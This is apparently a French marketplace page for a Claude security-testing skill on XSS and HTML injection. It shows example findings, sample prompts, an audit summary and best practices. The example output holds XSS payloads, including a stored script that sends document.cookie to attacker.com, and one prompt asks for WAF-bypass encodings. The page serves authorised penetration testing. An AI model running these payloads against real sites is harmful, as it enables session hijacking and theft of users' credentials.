xss-html-injection
Test des vulnérabilités XSS et d'injection HTML
Les applications web contiennent souvent des failles de cross-site scripting et d'injection HTML que les attaquants exploitent pour voler des sessions et des identifiants. Cette compétence fournit une méthodologie systématique pour détecter, exploiter et valider les vulnérabilités d'injection côté client dans le cadre d'évaluations de sécurité autorisées.
Télécharger le ZIP du skill
Importer dans Claude
Allez dans Paramètres → Capacités → Skills → Importer un skill
Activez et commencez à utiliser
Tester
Utilisation de "xss-html-injection". Tester le paramètre de recherche pour les XSS réfléchies
Résultat attendu:
- Vulnérabilité trouvée : XSS réfléchie dans le paramètre /search?q=
- Sévérité : Moyenne
- Payload : <img src=x onerror=alert(document.domain)>
- Contexte : Corps HTML - réflexion non encodée
- Recommandation : Implémenter l'encodage de sortie pour toutes les entrées utilisateur
Utilisation de "xss-html-injection". Tester le champ bio du profil utilisateur pour les XSS stockées
Résultat attendu:
- Vulnérabilité trouvée : XSS stockée dans la bio du profil utilisateur
- Sévérité : Élevée (persistante, affecte tous les utilisateurs)
- Payload : <script>fetch('https://attacker.com/log?c='+document.cookie)</script>
- Impact : Détournement de session pour tous les utilisateurs affichant le profil
- Recommandation : Implémenter une validation stricte des entrées et un encodage de sortie
Audit de sécurité
SûrThis is a legitimate security testing skill for XSS and HTML injection vulnerability assessment. All 121 static findings are FALSE POSITIVES - they represent educational examples of vulnerable code patterns (eval, innerHTML, document.write) and demonstration payloads using example URLs (attacker.com). The skill teaches security professionals how to identify and test for client-side injection vulnerabilities in authorized penetration tests.
Problèmes à risque faible (1)
Facteurs de risque
⚡ Contient des scripts (7)
⚙️ Commandes externes (64)
🌐 Accès réseau (27)
📁 Accès au système de fichiers (1)
Motifs détectés
Score de qualité
Ce que vous pouvez construire
Consultant en Sécurité Testant des Applications Web
Effectuer des tests d'intrusion autorisés pour identifier les vulnérabilités XSS dans les applications web des clients et fournir des recommandations de correction.
Développeur Validant la Gestion des Entrées
Tester les applications web personnalisées pendant le développement pour vérifier la mise en œuvre correcte de l'assainissement des entrées et de l'encodage de sortie.
Ingénieur QA Effectuant des Tests de Régression de Sécurité
Inclure les tests XSS et d'injection HTML dans les suites de tests de régression de sécurité pour détecter les vulnérabilités avant le déploiement en production.
Essayez ces prompts
Use the XSS HTML injection skill to test the login form at https://example.com for reflected XSS vulnerabilities. Identify all input fields and test for basic XSS payloads.
Use the XSS HTML injection skill to test the comment section for stored XSS. Create test payloads that persist and execute when other users view the content.
Use the XSS HTML injection skill to analyze the JavaScript on https://example.com/dashboard for DOM-based XSS. Check location.hash and location.search handling.
Use the XSS HTML injection skill to test if the WAF at https://example.com blocks common XSS payloads. Try HTML encoding, Unicode encoding, and tag variation bypass techniques.
Bonnes pratiques
- Toujours obtenir une autorisation écrite avant de tester une application cible
- Utiliser des payloads de démonstration contrôlés qui ne persistent pas et ne se propagent pas aux utilisateurs non intentionnels
- Signaler immédiatement les vulnérabilités critiques via les canaux appropriés de réponse aux incidents
Éviter
- Tester des systèmes de production sans autorisation écrite explicite
- Utiliser les vulnérabilités découvertes pour un accès non autorisé ou une exfiltration de données
- Déployer des payloads pouvant causer un déni de service ou des dommages au système